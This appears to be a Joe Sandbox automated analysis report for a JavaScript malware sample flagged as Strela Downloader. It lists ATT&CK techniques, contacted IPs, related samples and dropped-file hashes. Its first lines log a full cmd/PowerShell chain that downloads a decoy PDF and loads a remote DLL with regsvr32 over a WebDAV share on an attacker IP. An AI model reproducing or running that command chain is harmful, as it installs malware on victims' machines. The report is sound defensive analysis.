Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30514958631640.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Windows Management Instrumentation	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	141 Virtualization/Sandbox Evasion	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Native API	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Exploitation for Client Execution	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	141 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	132 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
19726179161917216961.js	7%	Virustotal		Browse
19726179161917216961.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/%X	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3359418374.0000027A9000F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2108538211.0000027A8FDF0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/%X	net.exe, 00000007.00000002.2108620262.000001E4F50DC000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2108620262.000001E4F50A8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2108620262.000001E4F50DC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2108620262.000001E4F50FF000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588798
Start date and time:	2025-01-11 05:37:35 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	19726179161917216961.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 54.224.241.105, 18.213.11.84, 34.237.241.83, 50.16.47.176, 172.64.41.3, 162.159.61.3, 184.28.90.27, 2.22.50.144, 2.22.50.131, 2.23.197.184, 2.16.168.105, 2.16.168.107, 2.22.242.123, 2.22.242.11, 13.107.246.45, 172.202.163.200, 23.56.162.204
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
23:38:28	API Interceptor	21x Sleep call for process: powershell.exe modified
23:38:32	API Interceptor	1x Sleep call for process: net.exe modified
23:38:32	API Interceptor	2x Sleep call for process: svchost.exe modified
23:38:45	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	183262889860027833.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22736232701915520651.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	293459661900119816.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1507513743282749438.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	53198678114324144.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	190731319210776809.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19663169782459227955.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1731726859230921847.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	28926317492847332246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16267239851350230287.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	183262889860027833.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	293459661900119816.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1507513743282749438.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	53198678114324144.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	190731319210776809.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	19663169782459227955.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	16267239851350230287.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1147112155713680.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	395621741190315695.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	884736801811116482.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	183262889860027833.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22736232701915520651.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	158324772041924674.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	293459661900119816.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10256249222235922013.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1507513743282749438.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	53198678114324144.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	190731319210776809.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	6734200751517017767.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19663169782459227955.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307075248077711
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDug1:gJjJGtpTq2yv1AuNZRY3diu8iBVqFL
MD5:	87798D9E1007A92A2EBADDBBEB3B530E
SHA1:	AE7B13C3F7E9CF3C6E12446D39C818F9EF12C350
SHA-256:	7C0A81506CFA3B7990A7D804BF5AD29B1B409438C80AFFDD628CB645AE358D51
SHA-512:	8926D410F55F16276F56DE339C00836AD895ED37E46E167302271B43A1424D7AAA079F8EB6AF0F8327EFFD90DB699ED7CE486BB21E6DDE630905FCD6126B3A0C
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xcce43567, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585639747243665
Encrypted:	false
SSDEEP:	1536:RSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Raza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	BFAB4D205689D1A069E22174C71708D6
SHA1:	88D6FA9349DA2F180372EA66C405CEB710CE48D5
SHA-256:	8DD3A9E8DBBA46502BDE6A56F6CA797358B8640B9117C62A5C4AAEF9C85FC54B
SHA-512:	7A8C2775DC697D22FC5ABEEB3A805FC412DCEC2CA018387F77FF454E8575ABBFA4AFDBA32F42FFB98C15F468E41DC41B04CD85B691CF83FB0EDC1DDB36713334
Malicious:	false
Preview:	..5g... ...............X\...;...{......................0.z..........{.. &...}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{....................................'. &...}.....................b &...}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08080842158435073
Encrypted:	false
SSDEEP:	3:5alEYeyNrhVGuAJkhvekl1VH4Sl/allrekGltll/SPj:wyzSrxl74WGJe3l
MD5:	717FE4B5772F459300C3B4FE97C23AB0
SHA1:	733B11C9A0B6DA59053CB6CDA751AA03511670FF
SHA-256:	BC4AC2EBE932D84FD3B30AFFAE9A520FBBB5E945D7E76CE7BFE6DABD498E8DE0
SHA-512:	665A6E6EFAD736B01C638CF798B69D64847D463AC1D4E4F34CC327FC52FE8150405D98841CB122B5D91ACC7A87F708C08163237D14E95977346F38C6A497A1A6
Malicious:	false
Preview:	tV6......................................;...{.. &...}.......{...............{.......{...XL......{.....................b &...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.209046092079286
Encrypted:	false
SSDEEP:	6:iO4q7d+MpFlL+q2P92nKuAl9OmbnIFUtSq7d+51Zmwsq7d+vLVkwO92nKuAl9Omt:7RdJFIv4HAahFUtPd81/1dO5LHAaSJ
MD5:	5D71A9FFB060921D99DA3120BD2537FA
SHA1:	54434F901A56CCF3799B45D7E0855D3395EA7799
SHA-256:	FDA4087369F54A0193E31FE9BA9E8C1B3AA5CBD76D0778A077204D1868E3DDE7
SHA-512:	9455843758F440FB885557B6933C26C134BF2E13899DB41103028BF5D63B110E486D49259DA8DA821168D914191E2D90D0C570E56D2AAF5D1A520E07582A84FF
Malicious:	false
Preview:	2025/01/10-23:38:32.343 1c98 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:38:32.346 1c98 Recovering log #3.2025/01/10-23:38:32.346 1c98 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.209046092079286
Encrypted:	false
SSDEEP:	6:iO4q7d+MpFlL+q2P92nKuAl9OmbnIFUtSq7d+51Zmwsq7d+vLVkwO92nKuAl9Omt:7RdJFIv4HAahFUtPd81/1dO5LHAaSJ
MD5:	5D71A9FFB060921D99DA3120BD2537FA
SHA1:	54434F901A56CCF3799B45D7E0855D3395EA7799
SHA-256:	FDA4087369F54A0193E31FE9BA9E8C1B3AA5CBD76D0778A077204D1868E3DDE7
SHA-512:	9455843758F440FB885557B6933C26C134BF2E13899DB41103028BF5D63B110E486D49259DA8DA821168D914191E2D90D0C570E56D2AAF5D1A520E07582A84FF
Malicious:	false
Preview:	2025/01/10-23:38:32.343 1c98 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:38:32.346 1c98 Recovering log #3.2025/01/10-23:38:32.346 1c98 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.155282928710558
Encrypted:	false
SSDEEP:	6:iO4q7d+ryq2P92nKuAl9Ombzo2jMGIFUtSq7d+qOs1Zmwsq7d+hRkwO92nKuAl97:7Rdnv4HAa8uFUtPd5Os1/1ds5LHAa8RJ
MD5:	A06ED52E33817E7C5859BAD6BCD18DE6
SHA1:	7C6851C7E5323DC1F46F15AD9ABC2ACC20762785
SHA-256:	D7EBA2A28525465DCC9697575CC43177D6A191BE39ED9A84720B5E39D5A73264
SHA-512:	081E8227E605F4CF876828F91E17EFE79AAF572E4875A8D995354342D5F0CF3BB6D260FCCDC7D6394266250CF4D4A9529E133D02C1D6E4E0AAD4E425F31BB8EC
Malicious:	false
Preview:	2025/01/10-23:38:32.396 1d30 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:38:32.397 1d30 Recovering log #3.2025/01/10-23:38:32.398 1d30 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.155282928710558
Encrypted:	false
SSDEEP:	6:iO4q7d+ryq2P92nKuAl9Ombzo2jMGIFUtSq7d+qOs1Zmwsq7d+hRkwO92nKuAl97:7Rdnv4HAa8uFUtPd5Os1/1ds5LHAa8RJ
MD5:	A06ED52E33817E7C5859BAD6BCD18DE6
SHA1:	7C6851C7E5323DC1F46F15AD9ABC2ACC20762785
SHA-256:	D7EBA2A28525465DCC9697575CC43177D6A191BE39ED9A84720B5E39D5A73264
SHA-512:	081E8227E605F4CF876828F91E17EFE79AAF572E4875A8D995354342D5F0CF3BB6D260FCCDC7D6394266250CF4D4A9529E133D02C1D6E4E0AAD4E425F31BB8EC
Malicious:	false
Preview:	2025/01/10-23:38:32.396 1d30 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:38:32.397 1d30 Recovering log #3.2025/01/10-23:38:32.398 1d30 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.048502422245442
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqjxcWsBdOg2HKcaq3QYiubxnP7E4T3OF+:Y2sRdsqxcdMHl3QYhbxP7nbI+
MD5:	5C404A42541FC47D0DE67EDF08FB7625
SHA1:	233E593781304CCF128AD0A7C50CECD3C02D69B8
SHA-256:	4FB8C2BD7B138C6CB1E4DC94FCBA8D0F6762C733066C6E5CF0E50CA9B798211D
SHA-512:	B664765C8FB5EAFAFBF04FFE7AC6BB849AAED2EE31E1B6BD578FCE77577B1212E2A149BD9FE3A067D859C757521DCBB06FBA989B3E00CCC152F5786A65448B96
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381130324940263","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":142029},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\cd9c5393-9aa3-4136-8270-41050e97c7e2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.048502422245442
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqjxcWsBdOg2HKcaq3QYiubxnP7E4T3OF+:Y2sRdsqxcdMHl3QYhbxP7nbI+
MD5:	5C404A42541FC47D0DE67EDF08FB7625
SHA1:	233E593781304CCF128AD0A7C50CECD3C02D69B8
SHA-256:	4FB8C2BD7B138C6CB1E4DC94FCBA8D0F6762C733066C6E5CF0E50CA9B798211D
SHA-512:	B664765C8FB5EAFAFBF04FFE7AC6BB849AAED2EE31E1B6BD578FCE77577B1212E2A149BD9FE3A067D859C757521DCBB06FBA989B3E00CCC152F5786A65448B96
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381130324940263","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":142029},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.238673140228896
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUvWxxWG0:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLy
MD5:	188ABFD04AD9C327B88077374E58E7DE
SHA1:	9BBDDC624EB0DFF0D1AA7DAC7C76273985C70EF8
SHA-256:	544A1C5082A163C51053344C02340DC3DEB93F7C212BF1F87CDAE12D290F40A6
SHA-512:	82C063DB549B9ADCD2A1A5C0EF29FF31852EBAA6B69F78A6C051D7BA994C413ED8AA4B73A296469043A2760A20B85CD6B0F7B3BD5628FD8F9EF594436E215A65
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.182630512285633
Encrypted:	false
SSDEEP:	6:iO4q7d+3Tusyq2P92nKuAl9OmbzNMxIFUtSq7d+e11Zmwsq7d+AsRkwO92nKuAlG:7Rd4uBv4HAa8jFUtPdj11/1d/85LHAab
MD5:	4BC355EF43D893FA8D9932D6003E815B
SHA1:	0357ECDD922AC4E2945D6FB4F0CD1843337B9565
SHA-256:	2F39BE6948FC725452489CA178851843D99F70FFC6B63F3C044F5B48598A4668
SHA-512:	962C266F4E925AC24854DB84E7B96859DA890F3EC4B94E53564E6CD5C43EC5E8864729EED440F82BC7A9C34E46BB0D65C3DAC0B8EA4A5144AEAAB0F76428B457
Malicious:	false
Preview:	2025/01/10-23:38:32.684 1d30 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:38:32.715 1d30 Recovering log #3.2025/01/10-23:38:32.729 1d30 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.182630512285633
Encrypted:	false
SSDEEP:	6:iO4q7d+3Tusyq2P92nKuAl9OmbzNMxIFUtSq7d+e11Zmwsq7d+AsRkwO92nKuAlG:7Rd4uBv4HAa8jFUtPdj11/1d/85LHAab
MD5:	4BC355EF43D893FA8D9932D6003E815B
SHA1:	0357ECDD922AC4E2945D6FB4F0CD1843337B9565
SHA-256:	2F39BE6948FC725452489CA178851843D99F70FFC6B63F3C044F5B48598A4668
SHA-512:	962C266F4E925AC24854DB84E7B96859DA890F3EC4B94E53564E6CD5C43EC5E8864729EED440F82BC7A9C34E46BB0D65C3DAC0B8EA4A5144AEAAB0F76428B457
Malicious:	false
Preview:	2025/01/10-23:38:32.684 1d30 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:38:32.715 1d30 Recovering log #3.2025/01/10-23:38:32.729 1d30 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
